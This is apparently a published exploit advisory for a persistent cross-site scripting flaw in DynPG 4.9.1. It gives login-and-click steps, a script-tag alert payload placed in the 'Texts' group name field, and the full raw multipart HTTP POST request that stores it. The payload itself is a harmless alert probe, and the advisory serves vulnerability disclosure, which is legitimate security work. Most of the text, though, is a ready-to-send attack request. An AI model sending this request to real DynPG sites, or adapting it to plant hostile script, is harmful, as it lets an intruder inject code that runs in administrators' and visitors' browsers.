DynPG 4.9.1 - Persistent Cross-Site Scripting (Authenticated)

# Exploit Title: DynPG 4.9.1 - Persistent Cross-Site Scripting (Authenticated)
# Date: 2020-10-09
# Exploit Author: Enes Özeser
# Vendor Homepage: https://dynpg.org/
# Version: 4.9.1
# Tested on: Windows & XAMPP

==> Tutorial <==

1- Login to admin panel.
2- Click on the "Texts" button.
3- Write XSS payload into the Groupname. 
4- Press "Create" button.

XSS Payload ==> <script>alert("XSS");</script> 

==> HTTP Request <==

POST /index.php?show=4 HTTP/1.1
Host: (HOST)
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------342819783638885794661955465553
Content-Length: 725
Origin: http://(HOST)
Connection: close
Referer: http://(HOST)/index.php?show=4
Cookie: PHPSESSID=bsbas234jfvvdasdasd1i
Upgrade-Insecure-Requests: 1

-----------------------------342819783638885794661955465553
Content-Disposition: form-data; name="NEW_GROUP_NAME"

<script>alert("XSS");</script>
-----------------------------342819783638885794661955465553
Content-Disposition: form-data; name="GROUP_ID"

0
-----------------------------342819783638885794661955465553
Content-Disposition: form-data; name="GRP_SUBMIT"

Create
-----------------------------342819783638885794661955465553
Content-Disposition: form-data; name="GRP_ACTION"

new_grp
-----------------------------342819783638885794661955465553
Content-Disposition: form-data; name="dpg_csrf_token"

3F16478C29BED20AA73F1D25CB23F471
-----------------------------342819783638885794661955465553--